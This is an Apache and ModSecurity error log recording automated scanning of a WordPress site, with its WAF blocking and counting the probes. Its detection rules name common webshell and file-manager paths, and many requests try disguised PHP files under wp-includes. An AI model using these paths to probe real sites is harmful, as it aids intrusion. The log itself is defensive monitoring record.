[Fri Feb 27 11:07:25.788233 2026] [:error] [pid 62998:tid 63008] [client 64.64.108.58:59513] [client 64.64.108.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aaEKbVQeueXZDUmoLolEIQAAAQY"]
[Fri Feb 27 11:07:28.090493 2026] [proxy_fcgi:error] [pid 52073:tid 52077] [client 64.64.108.17:52047] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:29.749558 2026] [proxy_fcgi:error] [pid 52073:tid 52099] [client 64.64.108.17:52047] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:30.255031 2026] [:error] [pid 52073:tid 52090] [client 64.64.108.17:52047] [client 64.64.108.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aaEKcoa650YPyxXVeRZRDgAAAY4"]
[Fri Feb 27 11:07:31.383896 2026] [:error] [pid 49306:tid 49308] [client 64.64.108.41:57051] [client 64.64.108.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aaEKc_nSUDZue59Px9takwAAAUA"]
[Fri Feb 27 11:07:32.954451 2026] [proxy_fcgi:error] [pid 49306:tid 49323] [client 64.64.108.25:47347] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:33.358468 2026] [proxy_fcgi:error] [pid 49306:tid 49323] [client 64.64.108.25:47347] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:34.044467 2026] [proxy_fcgi:error] [pid 49306:tid 49326] [client 64.64.108.25:47347] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:34.554449 2026] [proxy_fcgi:error] [pid 49306:tid 49319] [client 64.64.108.25:47347] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:38.826456 2026] [proxy_fcgi:error] [pid 49306:tid 49320] [client 64.64.108.25:47347] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:39.357461 2026] [proxy_fcgi:error] [pid 49306:tid 49331] [client 64.64.108.25:47347] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:39.763407 2026] [proxy_fcgi:error] [pid 49306:tid 49324] [client 64.64.108.25:47347] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:40.369499 2026] [proxy_fcgi:error] [pid 49306:tid 49321] [client 64.64.108.25:47347] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:40.966445 2026] [proxy_fcgi:error] [pid 49306:tid 49314] [client 64.64.108.25:47347] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:41.460540 2026] [proxy_fcgi:error] [pid 49306:tid 49323] [client 64.64.108.25:47347] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:41.954043 2026] [:error] [pid 49306:tid 49326] [client 64.64.108.25:47347] [client 64.64.108.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/upfile.php"] [unique_id "aaEKffnSUDZue59Px9ta-QAAAVI"]
[Fri Feb 27 11:07:42.979462 2026] [proxy_fcgi:error] [pid 49306:tid 49323] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:43.457525 2026] [proxy_fcgi:error] [pid 49306:tid 49330] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:43.943480 2026] [proxy_fcgi:error] [pid 49306:tid 49330] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:44.363486 2026] [proxy_fcgi:error] [pid 49306:tid 49330] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:44.935513 2026] [proxy_fcgi:error] [pid 49306:tid 49308] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:45.463454 2026] [proxy_fcgi:error] [pid 49306:tid 49321] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:46.148071 2026] [proxy_fcgi:error] [pid 49306:tid 49331] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:46.739465 2026] [proxy_fcgi:error] [pid 49306:tid 49323] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:47.273457 2026] [proxy_fcgi:error] [pid 49306:tid 49330] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:47.749952 2026] [proxy_fcgi:error] [pid 49306:tid 49320] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:48.258449 2026] [proxy_fcgi:error] [pid 49306:tid 49330] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:48.757594 2026] [proxy_fcgi:error] [pid 49306:tid 49317] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:49.245557 2026] [proxy_fcgi:error] [pid 49306:tid 49322] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:49.738703 2026] [proxy_fcgi:error] [pid 49306:tid 49321] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:50.164501 2026] [proxy_fcgi:error] [pid 49306:tid 49315] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:50.741410 2026] [proxy_fcgi:error] [pid 49306:tid 49324] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:51.161026 2026] [proxy_fcgi:error] [pid 49306:tid 49319] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:51.581317 2026] [proxy_fcgi:error] [pid 49306:tid 49314] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:52.049562 2026] [proxy_fcgi:error] [pid 49306:tid 49329] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:52.546844 2026] [proxy_fcgi:error] [pid 49306:tid 49310] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:53.068769 2026] [proxy_fcgi:error] [pid 49306:tid 49330] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:53.560016 2026] [proxy_fcgi:error] [pid 49306:tid 49331] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:54.049461 2026] [proxy_fcgi:error] [pid 49306:tid 49318] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:54.540964 2026] [:error] [pid 49306:tid 49324] [client 64.64.108.29:49245] [client 64.64.108.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.29, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aaEKivnSUDZue59Px9tbtQAAAVA"]
[Fri Feb 27 11:07:54.547468 2026] [proxy_fcgi:error] [pid 49306:tid 49324] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:55.543471 2026] [proxy_fcgi:error] [pid 49306:tid 49323] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:56.048585 2026] [proxy_fcgi:error] [pid 49306:tid 49309] [client 64.64.108.29:49245] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:56.645226 2026] [:error] [pid 49306:tid 49325] [client 64.64.108.29:49245] [client 64.64.108.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/modules.php"] [unique_id "aaEKjPnSUDZue59Px9tb5wAAAVE"]
[Fri Feb 27 11:07:57.613478 2026] [proxy_fcgi:error] [pid 52073:tid 52081] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:58.169456 2026] [proxy_fcgi:error] [pid 52073:tid 52094] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:59.167805 2026] [proxy_fcgi:error] [pid 52073:tid 52076] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:07:59.680456 2026] [proxy_fcgi:error] [pid 52073:tid 52079] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:00.178473 2026] [proxy_fcgi:error] [pid 52073:tid 52097] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:00.668480 2026] [proxy_fcgi:error] [pid 52073:tid 52079] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:01.159471 2026] [proxy_fcgi:error] [pid 52073:tid 52097] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:01.756449 2026] [proxy_fcgi:error] [pid 52073:tid 52098] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:02.352887 2026] [proxy_fcgi:error] [pid 52073:tid 52099] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:02.854872 2026] [proxy_fcgi:error] [pid 52073:tid 52097] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:03.366452 2026] [proxy_fcgi:error] [pid 52073:tid 52076] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:05.264512 2026] [proxy_fcgi:error] [pid 52073:tid 52090] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:05.826513 2026] [proxy_fcgi:error] [pid 52073:tid 52088] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:06.467466 2026] [proxy_fcgi:error] [pid 52073:tid 52083] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:08.671128 2026] [proxy_fcgi:error] [pid 52073:tid 52089] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:09.491657 2026] [proxy_fcgi:error] [pid 52073:tid 52082] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:09.970508 2026] [proxy_fcgi:error] [pid 52073:tid 52077] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:10.562006 2026] [proxy_fcgi:error] [pid 52073:tid 52088] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:11.077477 2026] [proxy_fcgi:error] [pid 52073:tid 52078] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:11.658472 2026] [proxy_fcgi:error] [pid 52073:tid 52082] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:12.155476 2026] [proxy_fcgi:error] [pid 52073:tid 52093] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:13.171446 2026] [proxy_fcgi:error] [pid 52073:tid 52086] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:13.782449 2026] [proxy_fcgi:error] [pid 52073:tid 52099] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:14.371445 2026] [proxy_fcgi:error] [pid 52073:tid 52082] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:14.871469 2026] [proxy_fcgi:error] [pid 52073:tid 52081] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:15.453237 2026] [proxy_fcgi:error] [pid 52073:tid 52077] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:15.980558 2026] [proxy_fcgi:error] [pid 52073:tid 52087] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:16.562460 2026] [proxy_fcgi:error] [pid 52073:tid 52093] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:17.191590 2026] [proxy_fcgi:error] [pid 52073:tid 52097] [client 64.64.108.21:64977] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:17.966932 2026] [:error] [pid 52073:tid 52090] [client 64.64.108.21:64977] [client 64.64.108.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/lx.php"] [unique_id "aaEKoYa650YPyxXVeRZTXAAAAY4"]
[Fri Feb 27 11:08:22.653465 2026] [proxy_fcgi:error] [pid 49306:tid 49329] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:23.175474 2026] [proxy_fcgi:error] [pid 49306:tid 49309] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:23.657464 2026] [proxy_fcgi:error] [pid 49306:tid 49308] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:24.493455 2026] [proxy_fcgi:error] [pid 49306:tid 49332] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:24.951440 2026] [proxy_fcgi:error] [pid 49306:tid 49314] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:25.443286 2026] [proxy_fcgi:error] [pid 49306:tid 49314] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:26.055465 2026] [proxy_fcgi:error] [pid 49306:tid 49329] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:26.649100 2026] [proxy_fcgi:error] [pid 49306:tid 49323] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:27.245113 2026] [proxy_fcgi:error] [pid 49306:tid 49320] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:27.860654 2026] [proxy_fcgi:error] [pid 49306:tid 49324] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:28.360169 2026] [proxy_fcgi:error] [pid 49306:tid 49326] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:28.954640 2026] [proxy_fcgi:error] [pid 49306:tid 49318] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:29.485451 2026] [proxy_fcgi:error] [pid 49306:tid 49320] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:30.044961 2026] [proxy_fcgi:error] [pid 49306:tid 49318] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:30.569449 2026] [proxy_fcgi:error] [pid 49306:tid 49325] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:31.046981 2026] [proxy_fcgi:error] [pid 49306:tid 49314] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:31.542442 2026] [proxy_fcgi:error] [pid 49306:tid 49320] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:32.051446 2026] [proxy_fcgi:error] [pid 49306:tid 49309] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:33.169954 2026] [proxy_fcgi:error] [pid 49306:tid 49316] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:33.949478 2026] [proxy_fcgi:error] [pid 49306:tid 49329] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:34.460459 2026] [proxy_fcgi:error] [pid 49306:tid 49308] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:35.050577 2026] [proxy_fcgi:error] [pid 49306:tid 49324] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:35.549795 2026] [proxy_fcgi:error] [pid 49306:tid 49309] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:36.162454 2026] [proxy_fcgi:error] [pid 49306:tid 49310] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:36.759507 2026] [proxy_fcgi:error] [pid 49306:tid 49318] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:37.367190 2026] [proxy_fcgi:error] [pid 49306:tid 49318] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:37.945471 2026] [proxy_fcgi:error] [pid 49306:tid 49325] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:38.363023 2026] [proxy_fcgi:error] [pid 49306:tid 49310] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:38.872368 2026] [proxy_fcgi:error] [pid 49306:tid 49310] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:40.651964 2026] [proxy_fcgi:error] [pid 49306:tid 49332] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:41.137459 2026] [proxy_fcgi:error] [pid 49306:tid 49316] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:41.572609 2026] [proxy_fcgi:error] [pid 49306:tid 49310] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:42.751440 2026] [proxy_fcgi:error] [pid 49306:tid 49323] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:46.353181 2026] [proxy_fcgi:error] [pid 49306:tid 49317] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:47.042881 2026] [proxy_fcgi:error] [pid 49306:tid 49326] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:47.665363 2026] [proxy_fcgi:error] [pid 49306:tid 49321] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:48.182528 2026] [proxy_fcgi:error] [pid 49306:tid 49310] [client 64.64.108.42:30535] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:48.950945 2026] [:error] [pid 49306:tid 49322] [client 64.64.108.42:30535] [client 64.64.108.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aaEKwPnSUDZue59Px9te1wAAAU4"]
[Fri Feb 27 11:08:49.970523 2026] [:error] [pid 49306:tid 49330] [client 64.64.108.17:51159] [client 64.64.108.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.64.108.17, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaEKwfnSUDZue59Px9te3wAAAVY"]
[Fri Feb 27 11:08:49.979466 2026] [proxy_fcgi:error] [pid 49306:tid 49330] [client 64.64.108.17:51159] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:50.856466 2026] [proxy_fcgi:error] [pid 49306:tid 49332] [client 64.64.108.17:51159] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:51.933635 2026] [:error] [pid 49306:tid 49318] [client 64.64.108.17:51159] [client 64.64.108.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaEKw_nSUDZue59Px9tfAgAAAUo"]
[Fri Feb 27 11:08:53.097009 2026] [proxy_fcgi:error] [pid 52073:tid 52098] [client 64.64.108.60:58613] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:55.870466 2026] [proxy_fcgi:error] [pid 52073:tid 52081] [client 64.64.108.60:58613] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:57.065454 2026] [proxy_fcgi:error] [pid 52073:tid 52098] [client 64.64.108.60:58613] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:08:57.654487 2026] [:error] [pid 52073:tid 52081] [client 64.64.108.60:58613] [client 64.64.108.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aaEKyYa650YPyxXVeRZVIAAAAYU"]
[Fri Feb 27 11:09:06.291472 2026] [proxy_fcgi:error] [pid 54103:tid 54174] [client 64.64.108.60:53591] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:06.868571 2026] [proxy_fcgi:error] [pid 54103:tid 54175] [client 64.64.108.60:53591] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:07.351460 2026] [proxy_fcgi:error] [pid 54103:tid 54173] [client 64.64.108.60:53591] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:09.743469 2026] [proxy_fcgi:error] [pid 54103:tid 54178] [client 64.64.108.60:53591] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:10.265814 2026] [proxy_fcgi:error] [pid 54103:tid 54187] [client 64.64.108.60:53591] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:10.850659 2026] [proxy_fcgi:error] [pid 54103:tid 54188] [client 64.64.108.60:53591] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:11.455447 2026] [proxy_fcgi:error] [pid 54103:tid 54179] [client 64.64.108.60:53591] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:13.655961 2026] [proxy_fcgi:error] [pid 54103:tid 54195] [client 64.64.108.60:53591] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:14.736529 2026] [:error] [pid 54103:tid 54192] [client 64.64.108.60:53591] [client 64.64.108.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aaEK2uvG4MPCmE0B2sAltgAAANU"]
[Fri Feb 27 11:09:15.693317 2026] [:error] [pid 52073:tid 52084] [client 64.64.108.30:60029] [client 64.64.108.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaEK24a650YPyxXVeRZV2AAAAYg"]
[Fri Feb 27 11:09:16.779245 2026] [:error] [pid 56075:tid 56087] [client 64.64.108.19:22851] [client 64.64.108.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aaEK3MKBhrfI6KNv9Rh9jQAAAAo"]
[Fri Feb 27 11:09:18.075446 2026] [:error] [pid 49306:tid 49318] [client 64.64.108.44:52977] [client 64.64.108.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aaEK3vnSUDZue59Px9tfvwAAAUo"]
[Fri Feb 27 11:09:19.377489 2026] [proxy_fcgi:error] [pid 54231:tid 54251] [client 64.64.108.48:56439] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:19.881466 2026] [proxy_fcgi:error] [pid 54231:tid 54252] [client 64.64.108.48:56439] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:20.834910 2026] [:error] [pid 54231:tid 54256] [client 64.64.108.48:56439] [client 64.64.108.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.48, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aaEK4OTvb5AeyJCdY7BrEAAAAFY"]
[Fri Feb 27 11:09:22.348469 2026] [proxy_fcgi:error] [pid 54231:tid 54242] [client 64.64.108.48:56439] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:23.772693 2026] [proxy_fcgi:error] [pid 54231:tid 54250] [client 64.64.108.48:56439] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:24.842459 2026] [proxy_fcgi:error] [pid 54231:tid 54256] [client 64.64.108.48:56439] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:28.054072 2026] [:error] [pid 54231:tid 54245] [client 64.64.108.48:56439] [client 64.64.108.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aaEK6OTvb5AeyJCdY7BrZAAAAEs"]
[Fri Feb 27 11:09:29.288475 2026] [proxy_fcgi:error] [pid 54102:tid 54152] [client 64.64.108.15:61335] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 11:09:30.754970 2026] [:error] [pid 54102:tid 54151] [client 64.64.108.15:61335] [client 64.64.108.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.64.108.15, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aaEK6ni74D4fiYUm_GcDhQAAAIc"]
